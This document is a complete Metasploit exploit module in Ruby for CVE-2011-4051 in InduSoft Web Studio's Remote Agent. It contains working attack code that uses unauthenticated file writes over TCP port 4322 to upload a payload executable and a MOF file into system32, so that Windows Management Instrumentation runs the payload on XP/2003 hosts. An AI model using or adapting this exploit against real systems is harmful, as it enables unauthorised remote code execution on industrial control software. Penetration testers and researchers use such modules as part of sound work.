InduSoft Web Studio Arbitrary Upload Remote Code Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::EXE  
include Msf::Exploit::WbemExec  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'InduSoft Web Studio Arbitrary Upload Remote Code Execution',  
'Description' => %q{  
This module exploits a lack of authentication and authorization on the InduSoft  
Web Studio Remote Agent, that allows a remote attacker to write arbitrary files to  
the filesystem, by abusing the functions provided by the software.  
  
The module uses uses the Windows Management Instrumentation service to execute an  
arbitrary payload on vulnerable installations of InduSoft Web Studio on Windows pre  
Vista. It has been successfully tested on InduSoft Web Studio 6.1 SP6 over Windows  
XP SP3 and Windows 2003 SP2.  
},  
'Author' =>  
[  
'Luigi Auriemma', # Vulnerability Discovery  
'juan vazquez' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2011-4051' ],  
[ 'OSVDB', '77179' ],  
[ 'BID', '50675' ],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-330' ]  
],  
'Privileged' => true,  
'Payload' =>  
{  
'BadChars' => "",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP / 2003', { } ],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Nov 04 2011'))  
  
register_options([Opt::RPORT(4322)], self.class)  
end  
  
def check  
connect  
  
# Get Application version  
data = [0x14].pack("C")  
sock.put(data)  
app_info = sock.get_once  
disconnect  
  
if app_info =~ /InduSoft Web Studio v6\.1/  
return Exploit::CheckCode::Vulnerable  
elsif app_info =~ /InduSoft Web Studio/  
return Exploit::CheckCode::Detected  
end  
  
return Exploit::CheckCode::Safe  
  
end  
  
def upload_file(filename, my_payload)  
connect  
  
# Get Application version  
data = [0x14].pack("C")  
sock.put(data)  
app_info = sock.get_once  
if app_info !~ /InduSoft Web Studio/  
print_error("#{@peer} - InduSoft Web Sutio hasn't been detected, trying to exploit anyway...")  
end  
  
# Get Operating System  
data = [0x13].pack("C")  
sock.put(data)  
os_info = sock.get_once  
if os_info !~ /WINXP/ and os_info !~ /WIN2K3/  
print_error("#{@peer} - Exploitation through Windows Management Instrumentation service only works on windows pre-vista system, trying to exploit anyway...")  
end  
  
# Upload file  
  
data = "\x02\x37" # Command => Select destination  
data << [my_payload.length].pack("V") # Data length  
data << "#{filename}" # File name to upload  
data << "\x09\x00\x30\x00\x00\x00"  
data << "\x10\x03" # End of packet  
  
# The data must be split on 1024 length chunks  
offset = 0 # Data to send  
count = 1 # Number of chunks sent  
groups = 0 # Data must be sent in groups of 50 chunks  
  
chunk = my_payload[offset, 1024]  
  
while not chunk.nil?  
  
# If there is a group of chunks, send it  
if count % 51 == 0  
  
data << "\x02\x2c" # Command => Send group of chunks  
my_count = [count].pack("V") # Number of chunks  
data << my_count.gsub(/\x10/, "\x10\x10")  
data << "\x10\x03" # End of packet  
  
sock.put(data)  
res = sock.get_once  
if res !~ /\x02\x06\x10\x03/  
return res  
end  
  
count = count + 1  
groups = groups + 1  
data = ""  
  
end  
  
pkt = [ 0x02, 0x2e ].pack("C*") # Command => Chunk Data  
my_count = [count].pack("V")  
pkt << my_count.gsub(/\x10/, "\x10\x10") # Chunk ID  
pkt << [chunk.length].pack("V").gsub(/\x10/, "\x10\x10") # Chunk Data length  
pkt << chunk.gsub(/\x10/, "\x10\x10") # Chunk Data  
pkt << "\x10\x03" # End of packet  
  
data << pkt  
offset = (count - groups) * 1024  
chunk = my_payload[offset, 1024]  
count = count + 1  
end  
  
pkt = [ 0x02, 0x03].pack("C*") # Command => End of File  
my_count = [count].pack("V")  
pkt << my_count.gsub(/\x10/, "\x10\x10") # Chunk ID  
pkt << rand_text_alpha(8) # LastWriteTime  
pkt << rand_text_alpha(8) # LastAccessTime  
pkt << rand_text_alpha(8) # CreationTime  
pkt << "\x20\x00\x00\x00" # FileAttributes => FILE_ATTRIBUTE_ARCHIVE (0x20)  
pkt << rand_text_alpha(1)  
pkt << "\x10\x03" # End of packet  
data << pkt  
  
sock.put(data)  
res = sock.get_once  
disconnect  
  
return res  
  
end  
  
def exploit  
  
@peer = "#{rhost}:#{rport}"  
  
exe = generate_payload_exe  
exe_name = rand_text_alpha(rand(10)+5) + '.exe'  
  
mof_name = rand_text_alpha(rand(10)+5) + '.mof'  
mof = generate_mof(mof_name, exe_name)  
  
print_status("#{@peer} - Uploading the exe payload to C:\\WINDOWS\\system32\\#{exe_name}")  
res = upload_file("C:\\WINDOWS\\system32\\#{exe_name}", exe)  
if res =~ /\x02\x06\x10\x03/  
print_good "#{@peer} - The exe payload has been uploaded successfully"  
else  
print_error "#{@peer} - Error uploading the exe payload"  
return  
end  
  
print_status("#{@peer} - Uploading the mof file to c:\\WINDOWS\\system32\\wbem\\mof\\#{mof_name}")  
res = upload_file("c:\\WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)  
if res =~ /\x02\x06\x10\x03/  
print_good "#{@peer} - The mof file has been uploaded successfully"  
else  
print_error "#{@peer} - Error uploading the mof file"  
return  
end  
  
end  
  
end  
`